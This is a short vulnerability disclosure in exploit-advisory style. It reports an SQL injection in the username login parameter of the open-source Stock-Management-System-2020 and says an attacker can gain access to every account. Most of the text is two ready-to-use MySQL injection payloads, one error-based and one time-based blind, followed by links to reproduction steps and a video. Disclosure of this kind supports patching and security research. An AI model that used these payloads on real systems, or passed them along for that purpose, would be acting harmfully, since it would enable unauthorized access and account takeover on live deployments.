## Title: Stock-Management-System-2020 SQLi
## Author: nu11secur1ty
## Date: 07.02.2022
## Vendor: https://github.com/Dav-ee
## Software: https://github.com/Dav-ee/Stock-Management-System
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Kiprono-Davies/2022/Stock-Management-System-2020
## Description:
The username parameter appears to be vulnerable to SQL injection attacks.
The attacker kan take an access to all acounts on this system.
Status: CRITICAL
[+] Payloads:
```mysql
---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: username=RCIdtbFU''' AND (SELECT 9919 FROM(SELECT
COUNT(*),CONCAT(0x71787a6271,(SELECT
(ELT(9919=9919,1))),0x717a626271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'LcYi'='LcYi&password=g5X!p2l!Q6
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=RCIdtbFU''' AND (SELECT 6942 FROM
(SELECT(SLEEP(5)))NOpI) AND 'uUsT'='uUsT&password=g5X!p2l!Q6
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Kiprono-Davies/2022/Stock-Management-System-2020)
## Proof and Exploit:
[href](https://streamable.com/urkvz7)